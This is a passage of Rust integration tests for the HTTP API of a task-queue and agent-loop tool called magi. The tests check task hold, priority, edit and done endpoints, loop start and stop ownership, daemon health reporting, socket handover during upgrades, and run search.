10480        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10481        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10482        assert!(held_plain.json()["hold_reason"].is_null());
10483
10484        let released = f
10485            .post(&format!("/api/queue/{}/release", task.id), None)
10486            .await;
10487        assert_eq!(released.status, 200);
10488        assert!(
10489            released.json()["hold_reason"].is_null(),
10490            "a release must clear the reason so the next hold does not inherit it"
10491        );
10492    }
10493
10494    #[tokio::test]
10495    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10496        let f = Fixture::start().await;
10497        let queue = f.queue();
10498        let mut older = Task::new(
10499            "filed first".to_owned(),
10500            "x".to_owned(),
10501            PathBuf::from("/repo/magi"),
10502            Source::Human,
10503        );
10504        older.id = "20260101-000001-aaaa".to_owned();
10505        let mut newer = Task::new(
10506            "filed second".to_owned(),
10507            "x".to_owned(),
10508            PathBuf::from("/repo/magi"),
10509            Source::Human,
10510        );
10511        newer.id = "20260101-000002-bbbb".to_owned();
10512        queue.put(&mut older).expect("file older");
10513        queue.put(&mut newer).expect("file newer");
10514
10515        // Equal priority: the newer task leads, the same order the old
10516        // newest-first `list()` already gave every equal-priority queue.
10517        let before = f.get("/api/queue").await.json();
10518        assert_eq!(before[0]["id"], newer.id);
10519        assert_eq!(before[1]["id"], older.id);
10520
10521        // Raising the *older* task is the meaningful case: it can only lead
10522        // now because its priority says so, not because it happens to be
10523        // newest.
10524        let raised = f
10525            .post(
10526                &format!("/api/queue/{}/priority", older.id),
10527                Some(r#"{"priority":10}"#),
10528            )
10529            .await;
10530        assert_eq!(raised.status, 200, "{}", raised.body);
10531        assert_eq!(raised.json()["priority"], 10);
10532
10533        let after = f.get("/api/queue").await.json();
10534        let names: Vec<&str> = after
10535            .as_array()
10536            .unwrap()
10537            .iter()
10538            .map(|t| t["id"].as_str().unwrap())
10539            .collect();
10540        // Highest priority first, which is the order next_runnable and
10541        // `magi task list` both use - GET /api/queue must agree with it
10542        // immediately, not just once the loop claims the task.
10543        assert_eq!(names[0], older.id, "the raised task now sorts first");
10544    }
10545
10546    #[tokio::test]
10547    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10548        let f = Fixture::start().await;
10549        let queue = f.queue();
10550        let mut task = Task::new(
10551            "in flight".to_owned(),
10552            "x".to_owned(),
10553            PathBuf::from("/repo/magi"),
10554            Source::Human,
10555        );
10556        task.start("20260902-140502-bbbb".to_owned());
10557        queue.put(&mut task).expect("file the task");
10558
10559        let res = f
10560            .post(
10561                &format!("/api/queue/{}/priority", task.id),
10562                Some(r#"{"priority":9}"#),
10563            )
10564            .await;
10565        assert_eq!(res.status, 400, "{}", res.body);
10566        assert!(
10567            res.json()["error"]
10568                .as_str()
10569                .is_some_and(|e| e.contains("running")),
10570            "{}",
10571            res.body
10572        );
10573        assert_eq!(
10574            queue.get(&task.id).expect("reload").priority,
10575            0,
10576            "the refused write must not partially apply"
10577        );
10578    }
10579
10580    #[tokio::test]
10581    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10582        let f = Fixture::start().await;
10583        let queue = f.queue();
10584        let mut task = Task::new(
10585            "old title".to_owned(),
10586            "old instruction".to_owned(),
10587            PathBuf::from("/repo/magi"),
10588            Source::Agent {
10589                run: "20260101-000000-beef".to_owned(),
10590                node: "implement".to_owned(),
10591            },
10592        );
10593        task.runs.push("20260101-000000-beef".to_owned());
10594        queue.put(&mut task).expect("file the task");
10595        let created_at = task.created_at;
10596
10597        let edited = f
10598            .post(
10599                &format!("/api/queue/{}/edit", task.id),
10600                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10601            )
10602            .await;
10603        assert_eq!(edited.status, 200, "{}", edited.body);
10604        let body = edited.json();
10605        assert_eq!(body["title"], "new title");
10606        assert_eq!(body["instruction"], "new instruction");
10607        assert_eq!(body["id"], task.id, "editing must not mint a new id");
10608        assert_eq!(body["created_at"], created_at.to_string());
10609        assert_eq!(
10610            body["source"]["kind"], "agent",
10611            "editing a task an agent filed must not turn it human: {body}"
10612        );
10613        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10614
10615        let reloaded = queue.get(&task.id).expect("reload");
10616        assert_eq!(reloaded.title, "new title");
10617        assert_eq!(reloaded.instruction, "new instruction");
10618    }
10619
10620    #[tokio::test]
10621    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10622        // The judge is an agent now: a repo whose only agent answers
10623        // "duplicate" stands in for it, so the refusal is the judge's.
10624        let tmp = TempDir::new().expect("tempdir");
10625        let repo = tmp.path().join("repo");
10626        std::fs::create_dir_all(&repo).expect("repo dir");
10627        let judge = MOCK_AGENT_TOML.replace(
10628            "printf ok",
10629            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10630        );
10631        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10632        let f = Fixture::with_repo(repo.clone()).await;
10633        let queue = f.queue();
10634        let mut owner = Task::new(
10635            "owner".to_owned(),
10636            "review it".to_owned(),
10637            repo.clone(),
10638            Source::Human,
10639        );
10640        owner.review_branch = Some("magi/ab12/A".to_owned());
10641        queue.put(&mut owner).expect("file the owner");
10642        let mut task = Task::new(
10643            "draft".to_owned(),
10644            "old".to_owned(),
10645            repo.clone(),
10646            Source::Human,
10647        );
10648        queue.put(&mut task).expect("file the draft");
10649        let url = format!("/api/queue/{}/edit", task.id);
10650
10651        let refused = f
10652            .post(
10653                &url,
10654                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10655            )
10656            .await;
10657        assert_eq!(refused.status, 409, "{}", refused.body);
10658        let msg = refused.json()["error"]
10659            .as_str()
10660            .unwrap_or_default()
10661            .to_owned();
10662        assert!(
10663            msg.contains("magi/ab12/A") && msg.contains("force"),
10664            "{msg}"
10665        );
10666        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10667
10668        let forced = f
10669            .post(
10670                &url,
10671                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10672            )
10673            .await;
10674        assert_eq!(forced.status, 200, "{}", forced.body);
10675    }
10676
10677    #[tokio::test]
10678    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10679        let f = Fixture::start().await;
10680        let queue = f.queue();
10681        let mut task = Task::new(
10682            "in flight".to_owned(),
10683            "do not touch".to_owned(),
10684            PathBuf::from("/repo/magi"),
10685            Source::Human,
10686        );
10687        task.start("20260902-140502-bbbb".to_owned());
10688        queue.put(&mut task).expect("file the task");
10689
10690        let res = f
10691            .post(
10692                &format!("/api/queue/{}/edit", task.id),
10693                Some(r#"{"title":"x","instruction":"y"}"#),
10694            )
10695            .await;
10696        assert_eq!(res.status, 400, "{}", res.body);
10697        assert!(
10698            res.json()["error"]
10699                .as_str()
10700                .is_some_and(|e| e.contains("running")),
10701            "{}",
10702            res.body
10703        );
10704        assert_eq!(
10705            queue.get(&task.id).expect("reload").instruction,
10706            "do not touch",
10707            "the refused edit must not change the file"
10708        );
10709    }
10710
10711    #[tokio::test]
10712    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10713        let f = Fixture::start().await;
10714        let queue = f.queue();
10715        let mut task = Task::new(
10716            "busy".to_owned(),
10717            "Running right now".to_owned(),
10718            PathBuf::from("/repo/magi"),
10719            Source::Human,
10720        );
10721        queue.put(&mut task).expect("file the task");
10722        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10723
10724        let priority = f
10725            .post(
10726                &format!("/api/queue/{}/priority", task.id),
10727                Some(r#"{"priority":9}"#),
10728            )
10729            .await;
10730        assert_eq!(priority.status, 409, "{}", priority.body);
10731
10732        let edit = f
10733            .post(
10734                &format!("/api/queue/{}/edit", task.id),
10735                Some(r#"{"title":"x","instruction":"y"}"#),
10736            )
10737            .await;
10738        assert_eq!(edit.status, 409, "{}", edit.body);
10739    }
10740
10741    #[tokio::test]
10742    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10743        let f = Fixture::start().await;
10744        let queue = f.queue();
10745        let mut task = Task::new(
10746            "shipped by hand".to_owned(),
10747            "merged outside the loop".to_owned(),
10748            PathBuf::from("/repo/magi"),
10749            Source::Agent {
10750                run: "20260101-000000-b455".to_owned(),
10751                node: "implement".to_owned(),
10752            },
10753        );
10754        task.runs.push("20260101-000000-b455".to_owned());
10755        task.runs.push("20260101-000000-9af4".to_owned());
10756        queue.put(&mut task).expect("file the task");
10757        let created_at = task.created_at;
10758
10759        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10760        assert_eq!(done.status, 200, "{}", done.body);
10761        assert_eq!(done.json()["status_str"], "done");
10762
10763        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10764        assert_eq!(
10765            reloaded.runs,
10766            ["20260101-000000-b455", "20260101-000000-9af4"]
10767        );
10768        assert_eq!(
10769            reloaded.source,
10770            Source::Agent {
10771                run: "20260101-000000-b455".to_owned(),
10772                node: "implement".to_owned(),
10773            }
10774        );
10775        assert_eq!(reloaded.created_at, created_at);
10776    }
10777
10778    #[tokio::test]
10779    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10780        // `done` is allowed on any status, including `held`, with no release
10781        // in between - so a task held for a reason and then closed directly
10782        // must not keep reading as "waiting on" it afterwards, on its card or
10783        // in `magi task show`.
10784        let f = Fixture::start().await;
10785        let queue = f.queue();
10786        let mut task = Task::new(
10787            "landed while held".to_owned(),
10788            "x".to_owned(),
10789            PathBuf::from("/repo/magi"),
10790            Source::Human,
10791        );
10792        task.hold_manual(Some("waiting on 3ed9".to_owned()));
10793        queue.put(&mut task).expect("file the held task");
10794
10795        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10796        assert_eq!(done.status, 200, "{}", done.body);
10797        assert_eq!(done.json()["status_str"], "done");
10798        assert!(
10799            done.json()["hold_reason"].is_null(),
10800            "a done task cannot still be waiting on something: {}",
10801            done.body
10802        );
10803    }
10804
10805    #[tokio::test]
10806    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10807        // `queue_done` is the phone's way to close a task the loop never
10808        // settled itself - after confirming a manual GitHub merge, say - and
10809        // that is just as much "this task's story is over" as the loop's own
10810        // `Merged`/`Ready` path, so it must trigger the same cleanup.
10811        let f = Fixture::start().await;
10812        let queue = f.queue();
10813        let runs = f.runs();
10814        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10815        // The last attempt has to have actually landed for the earlier one
10816        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
10817        // for the case where it didn't.
10818        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10819
10820        let mut task = Task::new(
10821            "landed by hand".to_owned(),
10822            "x".to_owned(),
10823            PathBuf::from("/repo/magi"),
10824            Source::Human,
10825        );
10826        task.runs.push("20260101-000000-doa1".to_owned());
10827        task.runs.push("20260101-000000-doa2".to_owned());
10828        queue.put(&mut task).expect("file the task");
10829
10830        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10831        assert_eq!(done.status, 200, "{}", done.body);
10832
10833        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10834            .expect("run still on disk under this fixture's own home");
10835        assert_eq!(
10836            reloaded_run.status,
10837            RunStatus::Superseded,
10838            "closing the task by hand must relabel the earlier blocked attempt exactly \
10839             like the loop's own settle path does"
10840        );
10841    }
10842
10843    #[tokio::test]
10844    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10845        // Closing a task by hand is allowed from any status, including one
10846        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
10847        // manual merge the loop never watched, say. Nothing here is provably
10848        // why the task is done, so nothing earlier gets relabelled either.
10849        let f = Fixture::start().await;
10850        let queue = f.queue();
10851        let runs = f.runs();
10852        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10853        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10854
10855        let mut task = Task::new(
10856            "closed with nothing actually landed".to_owned(),
10857            "x".to_owned(),
10858            PathBuf::from("/repo/magi"),
10859            Source::Human,
10860        );
10861        task.runs.push("20260101-000000-dob1".to_owned());
10862        task.runs.push("20260101-000000-dob2".to_owned());
10863        queue.put(&mut task).expect("file the task");
10864
10865        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10866        assert_eq!(done.status, 200, "{}", done.body);
10867
10868        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10869            .expect("run still on disk under this fixture's own home");
10870        assert_eq!(
10871            reloaded_run.status,
10872            RunStatus::Blocked,
10873            "the last recorded attempt never landed, so the earlier one must not be \
10874             relabelled as superseded by it"
10875        );
10876    }
10877
10878    #[tokio::test]
10879    async fn unknown_ids_are_json_not_found_on_both_stores() {
10880        let f = Fixture::start().await;
10881
10882        let run = f.get("/api/runs/nosuchrun").await;
10883        let task = f.post("/api/queue/nosuchtask/hold", None).await;
10884
10885        assert_eq!(run.status, 404);
10886        assert_eq!(task.status, 404);
10887        assert!(
10888            run.json()["error"]
10889                .as_str()
10890                .is_some_and(|e| e.contains("run")),
10891            "the error names what was not found: {}",
10892            run.body
10893        );
10894        assert!(
10895            task.json()["error"]
10896                .as_str()
10897                .is_some_and(|e| e.contains("task")),
10898            "the error names what was not found: {}",
10899            task.body
10900        );
10901    }
10902
10903    #[tokio::test]
10904    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10905        let f = Fixture::start().await;
10906
10907        let missing = f.get("/api/health").await.json();
10908        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10909
10910        write_daemon(
10911            f.home.path(),
10912            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10913        );
10914        let stale = f.get("/api/health").await.json();
10915        assert_eq!(
10916            stale["daemon"]["running"], false,
10917            "a minute without a heartbeat is a dead daemon, not a busy one"
10918        );
10919        assert!(
10920            stale["daemon"]["stale_for_secs"]
10921                .as_i64()
10922                .is_some_and(|s| s >= 55),
10923            "staleness is reported so the UI can say how long: {stale}"
10924        );
10925
10926        write_daemon(f.home.path(), Timestamp::now());
10927        let fresh = f.get("/api/health").await.json();
10928        assert_eq!(fresh["daemon"]["running"], true);
10929        assert_eq!(fresh["daemon"]["idle"], false);
10930        assert_eq!(fresh["daemon"]["pid"], 4242);
10931        assert_eq!(fresh["daemon"]["completed"], 7);
10932        assert_eq!(
10933            fresh["daemon"]["current"][0]["task"],
10934            "20260902-140501-aaaa"
10935        );
10936        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10937    }
10938
10939    #[tokio::test]
10940    async fn the_loop_is_not_running_until_something_starts_it() {
10941        let f = Fixture::start().await;
10942
10943        let view = f.get("/api/loop").await.json();
10944        assert_eq!(view["running"], false);
10945        assert_eq!(
10946            view["owned"], false,
10947            "nobody owns a loop that does not exist: {view}"
10948        );
10949        assert_eq!(view["stopping"], false);
10950        assert_eq!(view["last_error"], Value::Null);
10951        assert_eq!(view["daemon"]["running"], false);
10952        assert_eq!(
10953            view["repo"], "/repo/magi",
10954            "the repository a start would use, named before it is started"
10955        );
10956    }
10957
10958    #[tokio::test]
10959    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10960        let f = Fixture::start().await;
10961
10962        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10963        assert_eq!(res.status, 200, "{}", res.body);
10964        let view = res.json();
10965        assert_eq!(view["running"], true);
10966        assert_eq!(
10967            view["owned"], true,
10968            "the loop the UI started is the UI's own to stop: {view}"
10969        );
10970        assert_eq!(
10971            view["merge"],
10972            Value::Null,
10973            "no override was given, so each repository's own config decides"
10974        );
10975
10976        // The same object from the route a waking phone polls first. Two
10977        // surfaces disagreeing about whether anything is running is exactly
10978        // the confusion this UI exists to remove.
10979        let health = f.get("/api/health").await.json();
10980        assert_eq!(health["loop"]["running"], true, "{health}");
10981        assert_eq!(health["loop"]["owned"], true, "{health}");
10982
10983        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10984    }
10985
10986    #[tokio::test]
10987    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10988        let f = Fixture::start().await;
10989        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10990        assert_eq!(first.status, 200, "{}", first.body);
10991
10992        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10993        assert_eq!(
10994            again.status, 409,
10995            "two loops on one queue race for the same claims: {}",
10996            again.body
10997        );
10998        assert!(
10999            again.json()["error"]
11000                .as_str()
11001                .is_some_and(|e| e.contains("already running the loop")),
11002            "the refusal has to say why: {}",
11003            again.body
11004        );
11005        assert_eq!(
11006            f.get("/api/loop").await.json()["running"],
11007            true,
11008            "and the loop that was already running is untouched by it"
11009        );
11010
11011        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11012    }
11013
11014    #[tokio::test]
11015    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11016        let f = Fixture::start().await;
11017        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11018
11019        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11020        assert_eq!(
11021            res.status, 200,
11022            "the answer must not wait for the loop: a run in flight is tens of \
11023             minutes and the operator is holding a phone: {}",
11024            res.body
11025        );
11026
11027        let view = settled(&f, |v| v["running"] == false).await;
11028        assert_eq!(view["owned"], false);
11029        assert_eq!(
11030            view["stopping"], false,
11031            "a loop that has stopped is not still stopping: {view}"
11032        );
11033        assert_eq!(
11034            view["last_error"],
11035            Value::Null,
11036            "a loop that was asked to stop did not fail: {view}"
11037        );
11038
11039        // Idempotent, because the operator cannot tell a slow stop from a lost
11040        // one and will press it again.
11041        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11042        assert_eq!(twice.status, 200, "{}", twice.body);
11043    }
11044
11045    #[tokio::test]
11046    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11047        let f = Fixture::start().await;
11048        // How the operator has been doing it: a `magi serve` of their own,
11049        // heartbeat fresh, in the same home this UI reads.
11050        write_daemon(f.home.path(), Timestamp::now());
11051
11052        let view = f.get("/api/loop").await.json();
11053        assert_eq!(view["running"], false, "not in this process: {view}");
11054        assert_eq!(view["owned"], false, "and not this process's to control");
11055        assert_eq!(
11056            view["daemon"]["running"], true,
11057            "but a loop is alive somewhere, which is what the UI must say"
11058        );
11059        assert_eq!(view["daemon"]["pid"], 4242);
11060
11061        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11062            let res = f.post("/api/loop", Some(body)).await;
11063            assert_eq!(
11064                res.status, 409,
11065                "neither button may pretend to work on someone else's loop: {}",
11066                res.body
11067            );
11068            assert!(
11069                res.json()["error"]
11070                    .as_str()
11071                    .is_some_and(|e| e.contains("4242")),
11072                "the refusal has to name the process the operator must go to: {}",
11073                res.body
11074            );
11075        }
11076        assert_eq!(
11077            f.get("/api/loop").await.json()["running"],
11078            false,
11079            "and the refusal started nothing"
11080        );
11081    }
11082
11083    #[tokio::test]
11084    async fn a_stale_status_file_is_not_a_foreign_owner() {
11085        let f = Fixture::start().await;
11086        write_daemon(
11087            f.home.path(),
11088            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11089        );
11090
11091        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11092        assert_eq!(
11093            res.status, 200,
11094            "a daemon killed a minute ago must not lock the loop out of its \
11095             own home for good: {}",
11096            res.body
11097        );
11098        assert_eq!(res.json()["running"], true);
11099
11100        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11101    }
11102
11103    #[tokio::test]
11104    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11105        let f = Fixture::start().await;
11106        let before = f.get("/api/health").await.json()["loop_rev"]
11107            .as_u64()
11108            .expect("a loop revision");
11109
11110        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11111
11112        let after = f.get("/api/health").await.json()["loop_rev"]
11113            .as_u64()
11114            .expect("a loop revision");
11115        assert!(
11116            after > before,
11117            "the loop is in-process state, so this counter is the only thing \
11118             that tells a second device the first one started it: {before} -> \
11119             {after}"
11120        );
11121
11122        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11123    }
11124
11125    #[tokio::test]
11126    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11127        let f = Fixture::with_loop(launch_broken).await;
11128
11129        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11130        assert_eq!(
11131            res.status, 200,
11132            "starting it is not the failure: {}",
11133            res.body
11134        );
11135
11136        let view = settled(&f, |v| v["last_error"].is_string()).await;
11137        assert_eq!(
11138            view["running"], false,
11139            "a loop that died must not read as running, or the operator has \
11140             nothing to press: {view}"
11141        );
11142        assert_eq!(view["owned"], false);
11143        assert!(
11144            view["last_error"]
11145                .as_str()
11146                .is_some_and(|e| e.contains("read-only file system")),
11147            "the phone is where a loop that died at 3am is visible: {view}"
11148        );
11149
11150        // And it can be started again: the corpse was reaped, not left to
11151        // occupy the slot.
11152        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11153        assert_eq!(again.status, 200, "{}", again.body);
11154        assert!(
11155            again.json()["last_error"]
11156                .as_str()
11157                .is_none_or(|e| !e.contains("read-only file system")),
11158            "a fresh start does not keep showing why the last one died: {}",
11159            again.body
11160        );
11161    }
11162
11163    /// An upgrade parks the run in flight before it restarts, and a park waits
11164    /// for the node - up to `timeout_implement`, an hour by default. The deck
11165    /// has to answer for all of it: the operator has just been told a run is
11166    /// finishing first, and this address is the only place that says how it is
11167    /// going. It did not, once - the listener went with the `select!` arm that
11168    /// began the handover, and the phone got `Cannot reach magi: Failed to
11169    /// fetch` for the rest of the wave.
11170    ///
11171    /// The other half is the older rule: the address must be free *before* the
11172    /// successor is started, or it dies on "address already in use" with its
11173    /// stdio sent to null and the deck never comes back.
11174    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11175    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11176        let home = TempDir::new().expect("temp home");
11177        let runs = home.path().join("runs");
11178        std::fs::create_dir_all(&runs).expect("runs dir");
11179        let ui = Ui::new(
11180            Queue::at(home.path().join("queue")),
11181            Questions::at(home.path().join("questions")),
11182            Talks::at(home.path().join("talks")),
11183            runs,
11184            home.path().to_path_buf(),
11185            PathBuf::from("/repo/magi"),
11186        )
11187        .with_worktrees_root(home.path().join("wt"))
11188        .with_launch(launch_knocking_on_the_way_out);
11189        let looping = ui.looping();
11190        let turns = ui.turns();
11191        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11192            .await
11193            .expect("bind loopback");
11194        let addr = listener.local_addr().expect("local addr");
11195        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11196        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11197
11198        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11199        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11200
11201        // The successor's whole job, and the one thing it cannot do while this
11202        // process still holds the socket.
11203        //
11204        // One bind is not enough, and the reason is not this process's order of
11205        // operations: aborting the accept loop drops the listener, but axum
11206        // serves each accepted connection on a task of its own, and those are
11207        // not aborted. The requests above left sockets on this very address,
11208        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
11209        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
11210        // Production absorbs that in `bind_waiting`; so does this. Only
11211        // `AddrInUse` is retried, and the listener is released before the
11212        // closure returns - were the order wrong, the listener would outlive
11213        // the closure and every attempt would fail. Inferred from the bind
11214        // rules and the code; not reproduced on macOS.
11215        let bound = std::sync::Mutex::new(None);
11216        hand_over(
11217            home.path(),
11218            &looping,
11219            &turns,
11220            &|_: &[String]| Duration::from_secs(5),
11221            served,
11222            |_| {
11223                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11224                let attempt = loop {
11225                    match std::net::TcpListener::bind(addr) {
11226                        Ok(l) => {
11227                            drop(l);
11228                            break Ok(());
11229                        }
11230                        Err(e)
11231                            if e.kind() == std::io::ErrorKind::AddrInUse
11232                                && std::time::Instant::now() < deadline =>
11233                        {
11234                            std::thread::sleep(std::time::Duration::from_millis(10));
11235                        }
11236                        Err(e) => break Err(e.to_string()),
11237                    }
11238                };
11239                *bound.lock().expect("bound") = Some(attempt);
11240                Ok(1)
11241            },
11242        )
11243        .await
11244        .expect("hand over");
11245
11246        assert_eq!(
11247            *PARK_HEARD.lock().expect("park heard"),
11248            Some(200),
11249            "the deck must answer while the loop is parking"
11250        );
11251        let attempt = bound
11252            .lock()
11253            .expect("bound")
11254            .take()
11255            .expect("the successor was started");
11256        assert!(
11257            attempt.is_ok(),
11258            "and the address must be free by the time it is: {attempt:?}"
11259        );
11260    }
11261
11262    #[tokio::test]
11263    async fn a_newer_daemon_status_file_still_renders() {
11264        let f = Fixture::start().await;
11265        // A field this build has never heard of must not turn the status line
11266        // into a 500; that is the whole reason the reader is permissive.
11267        std::fs::write(
11268            f.home.path().join("daemon.json"),
11269            serde_json::json!({
11270                "schema": 2,
11271                "updated_at": Timestamp::now().to_string(),
11272                "idle": true,
11273                "surprise": { "nested": [1, 2, 3] },
11274            })
11275            .to_string(),
11276        )
11277        .expect("write daemon.json");
11278
11279        let health = f.get("/api/health").await;
11280
11281        assert_eq!(health.status, 200);
11282        assert_eq!(health.json()["daemon"]["running"], true);
11283    }
11284
11285    #[tokio::test]
11286    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11287        let f = Fixture::start().await;
11288        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11289        let broken = f.runs().join("20260902-140502-bad");
11290        std::fs::create_dir_all(&broken).expect("run dir");
11291        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11292
11293        let list = f.get("/api/runs").await;
11294        let detail = f.get("/api/runs/20260902-140502-bad").await;
11295
11296        assert_eq!(list.status, 200);
11297        let listed = list.json();
11298        let ids: Vec<&str> = listed
11299            .as_array()
11300            .expect("an array")
11301            .iter()
11302            .map(|r| r["id"].as_str().expect("an id"))
11303            .collect();
11304        assert_eq!(
11305            ids,
11306            vec!["20260902-140501-good"],
11307            "one unreadable run must not cost the operator the whole history"
11308        );
11309        assert_eq!(detail.status, 500);
11310        assert!(
11311            detail.json()["error"]
11312                .as_str()
11313                .is_some_and(|e| e.contains("run.json")),
11314            "the failure names the file to look at: {}",
11315            detail.body
11316        );
11317        // A skipped run has to be countable somewhere, or the UI shows an
11318        // empty history with nothing to explain it - which is exactly what a
11319        // directory full of older-schema runs looks like.
11320        let health = f.get("/api/health").await;
11321        assert_eq!(health.json()["runs_unreadable"], 1);
11322    }
11323
11324    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
11325    #[tokio::test]
11326    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11327        let f = Fixture::start().await;
11328        let runs = f.runs();
11329        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11330        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11331        // Text three levels down, in a shape no current RunState has: an older
11332        // schema must still search.
11333        let path = runs.join("20260902-140502-bbbb").join("run.json");
11334        let mut v: serde_json::Value =
11335            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11336        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11337        std::fs::write(&path, v.to_string()).unwrap();
11338        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11339        std::fs::write(
11340            runs.join("20260902-140503-cccc").join("run.json"),
11341            "{ not json",
11342        )
11343        .unwrap();
11344
11345        let res = f.get("/api/search?scope=runs&q=quokka").await;
11346        assert_eq!(res.status, 200, "{}", res.body);
11347        let v = res.json();
11348        assert_eq!(v["total"], 1, "{v}");
11349        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11350        assert_eq!(v["hits"][0]["field"], "text");
11351        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11352        let parts = v["hits"][0]["snippet"].as_array().unwrap();
11353        assert!(
11354            parts
11355                .iter()
11356                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11357            "{v}"
11358        );
11359        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11360        assert_eq!(
11361            flat, "The Quokka leaks across threads",
11362            "whitespace is collapsed"
11363        );
11364
11365        // Terms are ANDed, across different fields, case-insensitively.
11366        let both = f
11367            .get("/api/search?scope=runs&q=MOBILE%20quokka")
11368            .await
11369            .json();
11370        assert_eq!(both["total"], 1, "{both}");
11371        let neither = f
11372            .get("/api/search?scope=runs&q=quokka%20zebra")
11373            .await
11374            .json();
11375        assert_eq!(neither["total"], 0, "{neither}");
11376        // Everything in the task statement is reachable, not only the row text.
11377        let stmt = f
11378            .get("/api/search?scope=runs&q=mobile%20first")
11379            .await
11380            .json();
11381        assert_eq!(stmt["total"], 2, "{stmt}");
11382        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11383        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11384    }
11385
11386    #[test]
11387    fn snippet_ignores_terms_longer_than_the_field() {
11388        let terms = ["ok".to_owned(), "elephant".to_owned()];
11389        let parts = snippet_of("ok", &terms);
11390        assert_eq!(
11391            parts,
11392            vec![SnippetPart {
11393                text: "ok".to_owned(),
11394                hit: true
11395            }]
11396        );
11397    }
11398
11399    #[test]
11400    fn snippet_marks_matches_longer_than_the_window() {
11401        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11402        let hit_len = |parts: &[SnippetPart]| -> usize {
11403            parts
11404                .iter()
11405                .filter(|p| p.hit)
